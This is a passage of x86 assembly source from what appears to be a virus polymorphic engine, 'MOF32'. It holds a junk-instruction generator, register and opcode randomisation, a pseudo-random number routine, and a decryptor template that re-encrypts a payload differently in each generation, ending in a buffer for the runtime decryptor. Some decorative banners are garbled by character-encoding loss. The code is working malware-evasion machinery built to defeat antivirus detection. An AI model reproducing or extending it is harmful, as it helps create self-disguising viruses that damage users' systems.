      jmp finish_processing_1                   ;
                                                ;
not_exc_6:                                      ;
      jmp finish_processing_1                   ;
                                                ;
need_sib:                                       ; if we need a SIB byte
      lea esi, dword ptr [ebp+ModRM]            ; we compute it rite here...
      mov eax, 8                                ;
      call brandom32                            ;
      mov ebx, eax                              ;
      mov eax, 32                               ;
      call brandom32                            ;
      cmp eax, 4                                ;
      je need_sib                               ;
      cmp eax, 12                               ;
      je need_sib                               ;
      cmp eax, 20                               ;
      je need_sib                               ;
      shl eax, 3                                ;
      add esi, eax                              ;
      add esi, ebx                              ;
      lodsb                                     ;
      stosb                                     ;
      cmp edx, 12                               ;
      jne maybe_32                              ;
      mov al, byte ptr [ebp+disp8]              ;
      stosb                                     ;
      jmp finish_processing_1                   ;
                                                ;
maybe_32:                                       ;
      cmp edx, 20                               ;
      jne finish_processing_1                   ;
      mov eax, dword ptr [ebp+disp32]           ;
      stosd                                     ;
      jmp finish_processing_1                   ;
                                                ;
finish_processing_1:                            ;
      jmp over_one_junk                         ;
                                                ;
junk_proc2:                                     ; here we use Table 2
      mov eax, 2                                ;
      call brandom32                            ;
      mov ebx, eax                              ;
      mov ebx, 1                                ; force 16/32bit
      mov eax, Table2_len                       ; take a random operation
      call brandom32                            ; from the Table2
      shl eax, 1                                ;
      lea esi, dword ptr [ebp+Table2]           ;
      add esi, eax                              ;
      lodsb                                     ;
      add eax, ebx                              ; toggle size
      stosb                                     ;
                                                ;
      xor eax, eax                              ;
      call choose_jreg                          ;
      mov ebx, eax                              ;
      shl bx, 3                                 ;
      call choose_jreg                          ;
      or bl, al                                 ;
      mov al, bl                                ;
      or al, 11000000b                          ; make reg to reg
      stosb                                     ;
                                                ;
      jmp over_one_junk                         ;
                                                ;
junk_proc3:                                     ;
      mov eax, Table3_len-2                     ; take a random operation
      call brandom32                            ; from the Table3
      shl eax, 1                                ;
      lea esi, dword ptr [ebp+Table3]           ;
      add esi, eax                              ;
      lodsb                                     ;
      xchg eax, ebx                             ;
      call choose_jreg                          ;
      add ebx, eax                              ;
      xchg eax, ebx                             ;
      stosb                                     ;
                                                ;
      jmp over_one_junk                         ;
                                                ;
junk_proc4:                                     ; Here we create short
      mov [ebp+we_create_jcond], 1              ; conditional jumps
      lea esi, dword ptr [ebp+Table4]           ;
      lodsb                                     ;
      xchg eax, ebx                             ;
      mov eax, 0eh                              ;
      call brandom32                            ;
      add ebx, eax                              ;
      xchg eax, ebx                             ;
      stosb                                     ;
      xor al, al                                ;
      stosb                                     ;
                                                ;
      push word ptr [ebp+flawable]              ;
                                                ;
      mov [ebp+flawable], 1                     ;
                                                ;
      push edi                                  ;
      call output_one_junk                      ; output one junk after
      pop ebx                                   ; the conditional jump
      push ebx                                  ;
      xchg edi, ebx                             ;
      sub ebx, edi                              ;
      add edi, ebx                              ;
      pop esi                                   ;
      dec esi                                   ;
      mov byte ptr [esi], bl                    ;
                                                ;
      mov [ebp+we_create_jcond], 0              ;
                                                ;
      pop word ptr [ebp+flawable]               ;
                                                ;
      jmp over_one_junk                         ;
                                                ;
junk_proc5:                                     ;
      call choose_jreg                          ; Make imm to reg
      mov ebx, eax                              ; choose the register
      mov eax, Table5_len                       ; take a random operation
      call brandom32                            ; from the Table1
      mov eax, 1                                ; force 16/32 bit
      mov ecx, eax                              ; save type
      shl eax, 1                                ;
      lea esi, dword ptr [ebp+Table5]           ;
      add esi, eax                              ;
      lodsb                                     ;
      add eax, ebx                              ;
                                                ;
      stosb                                     ; store opcode
                                                ;
; don't unmark these!!! I need some more conditions to make 8 bit mov
;      cmp ecx, 1                                ;
;      je mov_1632bit                            ; 16 or 32 bit?
;                                                ;
;mov_8bit:                                       ;
;      mov al, byte ptr [ebp+disp8]              ; 8 bit imm
;      stosb                                     ;
;      jmp quit_mov                              ;
                                                ;
mov_1632bit:                                    ;
      mov eax, 2                                ; choose between 16 and
      call brandom32                            ; 32 bit
      cmp eax, 0                                ;
      je do_16                                  ;
      mov eax, dword ptr [ebp+disp32]           ; 32 bit imm
      stosd                                     ;
      jmp quit_mov                              ;
                                                ;
do_16:                                          ;
      dec edi                                   ; 16 bit imm
      mov al, byte ptr [edi]                    ; we need to override
      mov byte ptr [edi+1], al                  ; the operand size
      mov byte ptr [edi], 66h                   ;
      add edi, 2                                ;
      mov ax, word ptr [ebp+disp16]             ;
      stosw                                     ;
                                                ;
quit_mov:                                       ; done!
      jmp over_one_junk                         ;
                                                ;
junk_proc6:                                     ;
      mov [ebp+we_create_jcond], 1              ;
      mov al, 0fh                               ;
      stosb                                     ;
      lea esi, dword ptr [ebp+Table6]           ;
      lodsb                                     ;
      xchg eax, ebx                             ;
      mov eax, 0eh                              ;
      call brandom32                            ;
      add ebx, eax                              ;
      xchg eax, ebx                             ;
      stosb                                     ;
      xor eax, eax                              ;
      stosd                                     ;
                                                ;
      push word ptr [ebp+flawable]              ;
                                                ;
      mov [ebp+flawable], 1                     ;
                                                ;
      push edi                                  ;
      call output_one_junk                      ;
      pop ebx                                   ;
      push ebx                                  ;
      xchg edi, ebx                             ;
      sub ebx, edi                              ;
      add edi, ebx                              ;
      pop esi                                   ;
      sub esi, 4                                ;
      mov dword ptr [esi], ebx                  ;
                                                ;
      mov [ebp+we_create_jcond], 0              ;
                                                ;
      pop word ptr [ebp+flawable]               ;
                                                ;
      jmp over_one_junk                         ;
                                                ;
junk_proc7:                                     ;
      mov eax, Table7_len                       ; take a random operation
      call brandom32                            ; from the Table1
      shl eax, 1                                ;
      lea esi, dword ptr [ebp+Table7]           ;
      add esi, eax                              ;
      lodsb                                     ;
      stosb                                     ;
                                                ;
      jmp over_one_junk                         ;
                                                ;
over_one_junk:                                  ;
                                                ;
      pop ecx                                   ;
      ret                                       ;
output_one_junk endp                            ;
                                                ;
junk_table_procs label                          ; junk procs addresses
                 dd offset junk_proc1           ;
                 dd offset junk_proc2           ;
                 dd offset junk_proc3           ;
                 dd offset junk_proc4           ;
                 dd offset junk_proc5           ;
                 dd offset junk_proc6           ;
                 dd offset junk_proc7           ;
                                                ;
choose_jreg proc near                           ; choose one random junk
      mov eax, 3                                ; register out of the 3
      call brandom32                            ; available
      cmp eax, 0                                ;
      jne not_0                                 ;
      xor eax, eax                              ;
      mov al, [ebp+jreg1]                       ;
      ret                                       ;
not_0:                                          ;
      cmp eax, 1                                ;
      jne not_1                                 ;
      xor eax, eax                              ;
      mov al, [ebp+jreg2]                       ;
      ret                                       ;
not_1:                                          ;
      xor eax, eax                              ;
      mov al, [ebp+jreg3]                       ;
      ret                                       ;
choose_jreg endp                                ;
                                                ;
choose_random_disp proc near                    ; choose random displacements
      push eax                                  ;
      call random32                             ;
      mov dword ptr [ebp+disp32], eax           ; 32bit
      call random32                             ;
      mov word ptr [ebp+disp16], ax             ; 16bit
      call random32                             ;
      mov byte ptr [ebp+disp8], al              ; 8bit
      pop eax                                   ;
      ret                                       ;
choose_random_disp endp                         ;
                                                ;
maxjunks      =  5                              ;
max_junk_hunk =  3                              ;
row           dd 0                              ;

ModRM label
; The Intel(C) instruction set comes in the following mode:
;
;       Prefixes, Opcode, Mod/RM, SIB, immediate
;
;       The Mod/RM and SIB bytes are defined in the following table:
;
;胀屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯透
; MOD/RM AND SIB BYTE VALUES FOR ALL ADDRESSING MODES USED                 
;仆屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯脱屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯偷
; AL   CL   DL   BL   AH   CH   DH   BH     8BIT REGISTER                 
; AX   CX   DX   BX   SP   BP   SI   DI     16BIT REGISTER                
; EAX  ECX  EDX  EBX  ESP  EBP  ESI  EDI    32BIT REGISTER                
; 0    1    2    3    4    5    6    7      ORDER                         
; 000  001  010  011  100  101  110  111   仆屯屯屯屯屯淹屯屯屯屯淹屯屯屯屯
; MOD/RM VALUE: (MOD = 00)                 16BIT ADDR 32BIT AD.砈CALE    
;滥哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪呐哪哪哪哪哪呐哪哪哪哪呐哪哪哪哪拇
db 000h,008h,010h,018h,020h,028h,030h,038h ;砙BX+SI]    砙EAX]    砙EAX]    
db 001h,009h,011h,019h,021h,029h,031h,039h ;砙BX+DI]    砙ECX]    砙ECX]    
db 002h,00Ah,012h,01Ah,022h,02Ah,032h,03Ah ;砙BP+SI]    砙EDX]    砙EDX]    
db 003h,00Bh,013h,01Bh,023h,02Bh,033h,03Bh ;砙BP+DI]    砙EBX]    砙ECX]    
db 004h,00Ch,014h,01Ch,024h,02Ch,034h,03Ch ;砙SI]       砙--]     砃ONE     
db 005h,00Dh,015h,01Dh,025h,02Dh,035h,03Dh ;砙DI]       矰32      砙EBP]    
db 006h,00Eh,016h,01Eh,026h,02Eh,036h,03Eh ;矰16        砙ESI]    砙ESI]    
db 007h,00Fh,017h,01Fh,027h,02Fh,037h,03Fh ;砙BX]       砙EDI]    砙EDI]    
; MOD/RM VALUE: (MOD = 01)                                               
db 040h,048h,050h,058h,060h,068h,070h,078h ;砙BX+SI+D8] 砙EAX+D8] 砙EAX*2]  
db 041h,049h,051h,059h,061h,069h,071h,079h ;砙BX+DI+D8] 砙ECX+D8] 砙ECX*2]  
db 042h,04Ah,052h,05Ah,062h,06Ah,072h,07Ah ;砙BP+SI+D8] 砙EDX+D8] 砙EDX*2]  
db 043h,04Bh,053h,05Bh,063h,06Bh,073h,07Bh ;砙BP+DI+D8] 砙EBX+D8] 砙EBX*2]  
db 044h,04Ch,054h,05Ch,064h,06Ch,074h,07Ch ;砙SI+D8]    砙--+D8]  砃ONE     
db 045h,04Dh,055h,05Dh,065h,06Dh,075h,07Dh ;砙DI+D8]    砙EBP+D8] 砙EBP*2]  
db 046h,04Eh,056h,05Eh,066h,06Eh,076h,07Eh ;砙BP+D8]    砙ESI+D8] 砙ESI*2]  
db 047h,04Fh,057h,05Fh,067h,06Fh,077h,07Fh ;砙BX+D8]    砙EDI+D8] 砙EDI*2]  
; MOD/RM VALUE (MOD = 10)                                                
db 080h,088h,090h,098h,0A0h,0A8h,0B0h,0B8h ;砙BX+SI+D16]砙EAX+D32]砙EAX*4]  
db 081h,089h,091h,099h,0A1h,0A9h,0B1h,0B9h ;砙BX+DI+D16]砙ECX+D32]砙ECX*4]  
db 082h,08Ah,092h,09Ah,0A2h,0AAh,0B2h,0BAh ;砙BP+SI+D16]砙EDX+D32]砙EDX*4]  
db 083h,08Bh,093h,09Bh,0A3h,0ABh,0B3h,0BBh ;砙BP+DI+D16]砙EBX+D32]砙EBX*4]  
db 084h,08Ch,094h,09Ch,0A4h,0ACh,0B4h,0BCh ;砙SI+D16]   砙--+D32] 砃ONE     
db 085h,08Dh,095h,09Dh,0A5h,0ADh,0B5h,0BDh ;砙DI+D16]   砙EBP+D32]砙EBP*4]  
db 086h,08Eh,096h,09Eh,0A6h,0AEh,0B6h,0BEh ;砙BP+D16]   砙ESI+D32]砙ESI*4]  
db 087h,08Fh,097h,09Fh,0A7h,0AFh,0B7h,0BFh ;砙BX+D16]   砙EDI+D32]砙EDI*4]  
; MOD/RM VALUE (MOD = 11)                                                
db 0C0h,0C8h,0D0h,0D8h,0E0h,0E8h,0F0h,0F8h ;矱AX/AX/AL  矱AX/AX/AL砙EAX*8]  
db 0C1h,0C9h,0D1h,0D9h,0E1h,0E9h,0F1h,0F9h ;矱CX/CX/CL  矱CX/CX/CL砙ECX*8]  
db 0C2h,0CAh,0D2h,0DAh,0E2h,0EAh,0F2h,0FAh ;矱DX/DX/DL  矱DX/DX/DL砙EDX*8]  
db 0C3h,0CBh,0D3h,0DBh,0E3h,0EBh,0F3h,0FBh ;矱BX/BX/BL  矱BX/BX/BL砙EBX*8]  
db 0C4h,0CCh,0D4h,0DCh,0E4h,0ECh,0F4h,0FCh ;矱SP/SP/AH  矱SP/SP/AH砃ONE     
db 0C5h,0CDh,0D5h,0DDh,0E5h,0EDh,0F5h,0FDh ;矱BP/BP/CH  矱BP/BP/CH砙EBP*8]  
db 0C6h,0CEh,0D6h,0DEh,0E6h,0EEh,0F6h,0FEh ;矱SI/SI/DH  矱SI/SI/DH砙ESI*8]  
db 0C7h,0CFh,0D7h,0DFh,0E7h,0EFh,0F7h,0FFh ;矱DI/DI/BH  矱DI/DI/BH砙EDI*8]  
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪聊哪哪哪哪哪聊哪哪哪哪聊哪哪哪哪

; The prefixes:
Operand_size_toggle     db 66h   ; changes between 16bit and 32bit operands
Address_size_toggle     db 67h   ; changes between 16bit and 32bit addressing

; The toggle bytes (applied by XORing the OpCode with them):
Direction_toggle        db 02h   ; toggles operand->address and address->op.
Size_toggle             db 01h   ; toggles between 8bit and 16bit operators

; The immediate values used:
disp8                   db 0     ; 8bit displacement
disp16                  dw 0     ; 16bit displacement
disp32                  dd 0     ; 32bit displacement

; Reg to/from Address: (second byte 0=only junk register / 1=any register)

Table1 label
db 000h, 0      ; ADD            Explanation:
db 008h, 0      ; OR                - unchaged = 8bit addr  -> 8bit reg
db 010h, 0      ; ADC               - +1       = 16bit addr -> 16bit reg
db 018h, 0      ; SBB               - +2       = 8bit reg   -> 8bit addr
db 020h, 0      ; AND               - +3       = 16bit reg  -> 16bit addr
db 028h, 0      ; SUB
db 030h, 0      ; XOR
db 038h, 1      ; CMP
db 088h, 0      ; MOV
Table1_len = ($-offset Table1)/2

Table2 label
db 084h, 1      ; TEST              - unchanged = 8bit  -> 8bit
db 086h, 0      ; XCHG                +1        = 16bit -> 16bit
Table2_len = ($-offset Table2)/2

Table3 label
db 040h, 0      ; INC               +reg number = INC reg
db 048h, 0      ; DEC               +reg number = DEC reg
db 050h, 0      ; PUSH              +reg number = PUSH reg
db 058h, 0      ; POP               +reg number = POP reg
Table3_len = ($-offset Table3)/2

Table4 label
db 070h, 0      ; Conditonal Jump   +0 .. +0Fh  = jump condition
Table4_len = ($-offset Table4)/2

Table5 label
db 0B0h, 0      ; Mov immediate to 8bit reg      +reg number = mov to reg
db 0B8h, 0      ; Mov immediate to 16/32bit reg  +reg number = mov to reg
Table5_len = ($-offset Table5)/2

Table6 label
db 080h, 0     ; Long conditional jmp
Table6_len = ($-offset Table6)/2

Table7 label
   clc
db 0
   stc
db 0
   cli
db 0
   sti
db 0
   cld
db 0
Table7_len = ($-offset Table7)/2

Tables label                            ; this is useless in this
       dd offset Table1                 ; version
       dd offset Table2                 ;
       dd offset Table3                 ;
       dd offset Table4                 ;
       dd offset Table5                 ;
       dd offset Table6                 ;
       dd offset Table7                 ;
                                        ;
Table_numbers = ($-offset Tables)/4     ; this is useful...

address_save    dd 0
junk_finish     dd 0
flawable        dw 0
we_create_jcond db 0
first_intend    dd 0

;                  脖                                
;                  脖    Junk Generator Module End   辈
;                                                  氨

;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹



;圻哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; Here we have the place where the engine chooses the random stuff.         
;圮苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

Choose_random_registers Proc Near         ; Here we choose the random regs
        pushad                            ;
        lea edi, [ebp+used_registers]     ; point to registers
        lea esi, [ebp+used_registers]     ; point to registers
        mov edx, esi                      ; save position
        mov ecx, 50h                      ; scramble 50h times
                                          ;
mangle:                                   ;
        mov eax, 7                        ;
        call brandom32                    ; choose a random nr. between 0-6
        mov ebx, eax                      ; in EBX
        mov eax, 7                        ;
        call brandom32                    ; choose a random nr. between 0-6
        cmp ebx, eax                      ; in EAX
        je mangle                         ; if EAX=EBX choose again
        add edi, eax                      ; increment first pointer
        add esi, ebx                      ; increment second pointer
        mov al, byte ptr [edi]            ; and exchange the values
        xchg byte ptr [esi], al           ; between them
        mov byte ptr [edi], al            ;
        mov edi, edx                      ; restore position
        mov esi, edx                      ;
        loop mangle                       ; and do it 50h times
        popad                             ;
        Retn                              ;
Choose_random_registers Endp              ;
                                          ;
randomize proc near                       ;
       push eax                           ; this randomize procedure must
       mov eax, dword ptr [esp-8]         ; be called first when the word
       add dword ptr [ebp+seed], eax      ; on the stack is smth. like
       pop eax                            ; 0BF87.... and it is different
       ret                                ; for each loaded file depending
randomize endp                            ; on different thingies. The
                                          ; seed gets incremented anyway
random32 proc near                        ; from generation to generation.
       push ecx                           ;
       xor ecx, ecx                       ;
       mov eax, dword ptr [ebp+seed]      ;
       mov cx, 33                         ;
                                          ;
rloop:                                    ;
       add eax, eax                       ;
       jnc $+4                            ;
       xor al, 197                        ;
       loop rloop                         ;
       mov dword ptr [ebp+seed], eax      ;
       pop ecx                            ;
       ret                                ;
random32 endp                             ;
seed dd 0BFF81234h                        ;
                                          ;
brandom32 proc near                       ;
       push edx                           ; this procedure expects a value
       push ecx                           ;
       mov edx, 0                         ; in EAX and returns a random
       push eax                           ; number in EAX but smaller than
       call random32                      ; EAX's original value. Actually
       pop ecx                            ; it bounds EAX (0<=EAX<=limit-1)
       div ecx                            ; EDX and ECX are preserved
       xchg eax, edx                      ;
       pop ecx                            ;
       pop edx                            ;
       ret                                ;
brandom32 endp                            ;


;圻哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; Here we have the data on the decryptor generation.                        
;圮苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

decryptor:
i01:  mov ebx, 0                  ; mov preg, code_start
      db 0feh                     ;
i02:  mov ebx, 0                  ; mov kreg, key
      db 0feh                     ;
i03:  mov ebx, 0                  ; mov lreg, code_length/8
      db 0feh                     ;
i04:  mov ebx, dword ptr [ebx]    ; mov creg, [preg] (mainloop)
      db 0feh                     ;
i05:  add ebx, ecx                ; <op1> creg, kreg
      db 0feh                     ;
i06:  ror ebx, 0h                 ; <op2> creg, key2
      db 0feh                     ;
i07:  add ebx, dword ptr [ebx+4]  ; <op3> creg, [preg+4]
      db 0feh                     ;
i08:  mov dword ptr [ebx], ebx    ; mov [preg], creg
      db 0feh                     ;
i09:  add ebx, 12345678h          ; <op4> kreg, keyvalue
      db 0feh                     ;
i10:  add ebx, 4                  ; sub preg, 4
      db 0feh                     ;
i11:  sub ebx, 1                  ; sub lreg, 1
      db 0feh                     ;
i12:  ;jnz 0                      ; jnz mainloop
      db 0fh, 85h                 ;
      dd 0feh                     ;
      db 0ffh                     ;

;圻哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; Here we have the engine's general data.                                   
;圮苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

un_op_code1:
       db 33h                ; XOR
       db 2Bh                ; ADD
       db 03h                ; SUB
                             ;
un_op_code2:                 ;
       db 81h, 11110000b     ; XOR
       db 81h, 11101000b     ; SUB
       db 81h, 11000000b     ; ADD
                             ;
un_op_code3:                 ;
       db 11000000b          ; ROL
       db 11001000b          ; ROR
                             ;
key   dd 0                   ;
key2  dd 0                   ;
keyvalue dd 0                ;
op1 dd 0                     ;
op2 dd 0                     ;
op3 dd 0                     ;
op4 dd 0                     ;
                             ;
used_registers:              ;
creg  Db 0                   ; Register to hold the code
lreg  Db 1                   ; Register to hold the length of code
kreg  Db 2                   ; Register to hold the encryption key
preg  Db 3                   ; Register to hold the pointer in code
jreg1 Db 5                   ; Junk register #1
jreg2 Db 6                   ; Junk register #2
jreg3 Db 7                   ; Junk register #3
                             ;
counter dd 0                 ; instruction counter
misc db 0                    ; misc data
codeaddr dd 0                ; address of code
codelength dd 0              ; code length
mainlp dd 0                  ; main loop address
the_end   dd 0               ;
end_end   dd 0               ;
                             ;
increment_flag db 0          ; flag
                             ;
MOF32 endp                   ;

;   谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪
;                                      
;   滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪
;   谀哪                                                             谀哪
;      M鶸鶯鶷鶬鶳鶯鶨  O鶳鶦鶲鶧鶨  F鶤鶱鶷鶤鶶鶬鶨鶶  32  B鶬鶷   
;   滥哪                            e n d                            滥哪
;   谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪
;                                      
;   滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪

end_of_code:
decrypt:                       ; where the runtime decryptor gets put...
         db  700h dup (90h)    ;
         jmp realstart         ;

end:
end start
end

;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北
